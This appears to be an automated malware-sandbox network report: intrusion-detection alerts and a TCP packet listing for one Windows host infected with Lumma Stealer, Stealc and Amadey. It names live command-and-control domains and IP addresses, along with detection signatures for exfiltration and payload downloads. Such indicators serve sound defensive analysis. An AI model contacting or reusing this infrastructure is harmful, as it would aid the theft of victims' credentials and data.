2024-10-22T19:24:19.220791+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.8	56210	1.1.1.1	53	UDP
2024-10-22T19:24:19.236700+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.8	59051	1.1.1.1	53	UDP
2024-10-22T19:24:19.260599+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.8	58528	1.1.1.1	53	UDP
2024-10-22T19:24:19.272669+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.8	54798	1.1.1.1	53	UDP
2024-10-22T19:24:19.305233+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.8	59950	1.1.1.1	53	UDP
2024-10-22T19:24:21.793005+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49706	104.102.49.254	443	TCP
2024-10-22T19:24:22.670374+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49707	172.67.206.204	443	TCP
2024-10-22T19:24:22.670374+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49707	172.67.206.204	443	TCP
2024-10-22T19:24:24.280755+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49708	172.67.206.204	443	TCP
2024-10-22T19:24:24.280755+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49708	172.67.206.204	443	TCP
2024-10-22T19:24:30.598569+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49712	172.67.206.204	443	TCP
2024-10-22T19:24:31.778489+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49713	172.67.206.204	443	TCP
2024-10-22T19:24:34.839434+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	172.67.206.204	443	TCP
2024-10-22T19:24:42.123941+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49717	185.215.113.16	80	TCP
2024-10-22T19:24:49.715756+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49722	185.215.113.37	80	TCP
2024-10-22T19:25:07.403626+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49723	185.215.113.43	80	TCP
2024-10-22T19:25:10.992549+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49725	185.215.113.16	80	TCP
2024-10-22T19:25:14.677645+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.8	60982	1.1.1.1	53	UDP
2024-10-22T19:25:14.692392+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.8	63603	1.1.1.1	53	UDP
2024-10-22T19:25:14.711909+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.8	64850	1.1.1.1	53	UDP
2024-10-22T19:25:14.724421+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.8	50872	1.1.1.1	53	UDP
2024-10-22T19:25:14.734302+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.8	52212	1.1.1.1	53	UDP
2024-10-22T19:25:14.745331+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.8	64650	1.1.1.1	53	UDP
2024-10-22T19:25:14.756486+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.8	51209	1.1.1.1	53	UDP
2024-10-22T19:25:14.770685+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.8	57815	1.1.1.1	53	UDP
2024-10-22T19:25:15.007549+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49724	TCP
2024-10-22T19:25:15.939035+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49727	185.215.113.43	80	TCP
2024-10-22T19:25:16.288467+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49726	92.122.104.90	443	TCP
2024-10-22T19:25:16.848834+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49728	185.215.113.16	80	TCP
2024-10-22T19:25:17.248467+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49729	172.67.206.204	443	TCP
2024-10-22T19:25:17.248467+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49729	172.67.206.204	443	TCP
2024-10-22T19:25:18.608265+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49730	172.67.206.204	443	TCP
2024-10-22T19:25:18.608265+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49730	172.67.206.204	443	TCP
2024-10-22T19:25:21.601641+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49732	185.215.113.43	80	TCP
2024-10-22T19:25:22.465419+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49734	185.215.113.37	80	TCP
2024-10-22T19:25:22.514543+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49735	185.215.113.16	80	TCP
2024-10-22T19:25:25.248175+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49737	172.67.206.204	443	TCP
2024-10-22T19:25:26.686504+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49738	185.215.113.43	80	TCP
2024-10-22T19:25:27.002694+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49739	172.67.206.204	443	TCP
2024-10-22T19:25:27.582124+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49740	185.215.113.16	80	TCP
2024-10-22T19:25:27.582124+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49740	185.215.113.16	80	TCP
2024-10-22T19:25:29.614677+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.8	49247	1.1.1.1	53	UDP
2024-10-22T19:25:29.627406+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.8	62363	1.1.1.1	53	UDP
2024-10-22T19:25:29.639418+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.8	56853	1.1.1.1	53	UDP
2024-10-22T19:25:29.652797+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.8	63026	1.1.1.1	53	UDP
2024-10-22T19:25:29.666686+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.8	51269	1.1.1.1	53	UDP
2024-10-22T19:25:29.679302+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.8	58618	1.1.1.1	53	UDP
2024-10-22T19:25:29.697621+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.8	51370	1.1.1.1	53	UDP
2024-10-22T19:25:29.709460+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.8	56184	1.1.1.1	53	UDP
2024-10-22T19:25:30.041022+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49749	172.67.206.204	443	TCP
2024-10-22T19:25:30.136679+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49746	185.215.113.37	80	TCP
2024-10-22T19:25:31.268028+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49750	104.102.49.254	443	TCP
2024-10-22T19:25:31.666241+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49757	185.215.113.43	80	TCP
2024-10-22T19:25:42.526282+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49751	185.215.113.16	80	TCP
2024-10-22T19:25:43.275079+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49839	185.215.113.37	80	TCP
2024-10-22T19:25:52.886868+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49894	185.215.113.37	80	TCP
2024-10-22T19:26:00.933422+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49943	185.215.113.37	80	TCP
2024-10-22T19:26:01.639805+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.8	58940	1.1.1.1	53	UDP
2024-10-22T19:26:01.669855+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.8	51668	1.1.1.1	53	UDP
2024-10-22T19:26:01.680518+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.8	60093	1.1.1.1	53	UDP
2024-10-22T19:26:01.698281+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.8	63257	1.1.1.1	53	UDP
2024-10-22T19:26:01.709312+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.8	61148	1.1.1.1	53	UDP
2024-10-22T19:26:01.720126+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.8	51586	1.1.1.1	53	UDP
2024-10-22T19:26:01.761471+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.8	64296	1.1.1.1	53	UDP
2024-10-22T19:26:01.772940+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.8	60178	1.1.1.1	53	UDP
2024-10-22T19:26:03.325719+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49959	104.102.49.254	443	TCP
2024-10-22T19:26:11.216307+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50038	185.215.113.37	80	TCP
2024-10-22T19:26:27.779510+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50129	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 19:24:19.334899902 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:19.334930897 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:19.335078001 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:19.338269949 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:19.338278055 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.125289917 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.125644922 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.129703045 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.129713058 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.130095005 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.172028065 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.178661108 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.219335079 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793068886 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793100119 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793140888 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793148994 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793169022 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793181896 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.793188095 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.793371916 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.831653118 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831681013 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831717968 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.831727028 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831743002 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831759930 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.831873894 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831892967 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.831898928 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.831937075 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.831953049 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.832067013 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.833980083 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.833980083 CEST	49706	443	192.168.2.8	104.102.49.254
Oct 22, 2024 19:24:21.833996058 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.834003925 CEST	443	49706	104.102.49.254	192.168.2.8
Oct 22, 2024 19:24:21.895334005 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:21.895375967 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:21.895802975 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:21.895802975 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:21.895836115 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.520281076 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.520423889 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.523745060 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.523765087 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.524261951 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.525553942 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.525593996 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.525645018 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670399904 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670520067 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670588017 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670636892 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.670649052 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670696020 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.670701027 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670845032 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:22.670988083 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.670988083 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.670988083 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.986269951 CEST	49707	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:22.986291885 CEST	443	49707	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.158763885 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.158807993 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.158878088 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.159226894 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.159236908 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.776518106 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.776622057 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.778397083 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.778408051 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.778811932 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:23.780174017 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.780239105 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:23.780292988 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280733109 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280807972 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280848026 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280884027 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280945063 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.280961037 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.280981064 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.281004906 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.281023979 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.281194925 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.281491041 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.281534910 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.281541109 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.286073923 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.286128998 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.286138058 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.328484058 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397619963 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397703886 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397738934 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397757053 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397777081 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397814035 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397821903 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397850037 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397905111 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397964954 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397979021 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.397990942 CEST	49708	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.397995949 CEST	443	49708	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.545456886 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.545474052 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:24.545640945 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.545836926 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:24.545861006 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.008976936 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.009100914 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.010457993 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.010462999 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.010658026 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.013942957 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.016165972 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.016196966 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.385751009 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.386004925 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.386327982 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.386327982 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.459178925 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.459228992 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.459302902 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.459619045 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.459634066 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:26.687685013 CEST	49709	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:26.687712908 CEST	443	49709	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.088773966 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.089024067 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.090281963 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.090312958 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.090677023 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.092025995 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.092189074 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.092232943 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.092344999 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.092360020 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.643770933 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.643959999 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.644033909 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.644089937 CEST	49710	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.644135952 CEST	443	49710	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.837640047 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.837688923 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:27.837752104 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.838068962 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:27.838078976 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:28.559245110 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:28.559322119 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:28.560776949 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:28.560784101 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:28.560992002 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:28.562118053 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:28.562225103 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:28.562258959 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:28.562333107 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:28.562341928 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:29.076639891 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:29.076910973 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:29.077049017 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:29.077193975 CEST	49711	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:29.077214956 CEST	443	49711	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:29.436321020 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:29.436357021 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:29.436441898 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:29.436754942 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:29.436770916 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.062422037 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.062562943 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:30.064541101 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:30.064551115 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.065449953 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.071011066 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:30.071110010 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:30.071115971 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.598611116 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.598850012 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:30.598859072 CEST	443	49712	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:30.598973036 CEST	49712	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.163410902 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.163453102 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.163527966 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.163845062 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.163861990 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.774025917 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.774117947 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.775479078 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.775487900 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.775832891 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.777226925 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.777987957 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778024912 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778122902 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778158903 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778260946 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778378963 CEST	443	49713	172.67.206.204	192.168.2.8
Oct 22, 2024 19:24:31.778486967 CEST	49713	443	192.168.2.8	172.67.206.204
Oct 22, 2024 19:24:31.778512001 CEST	443	49713	172.67.206.204	192.168.2.8
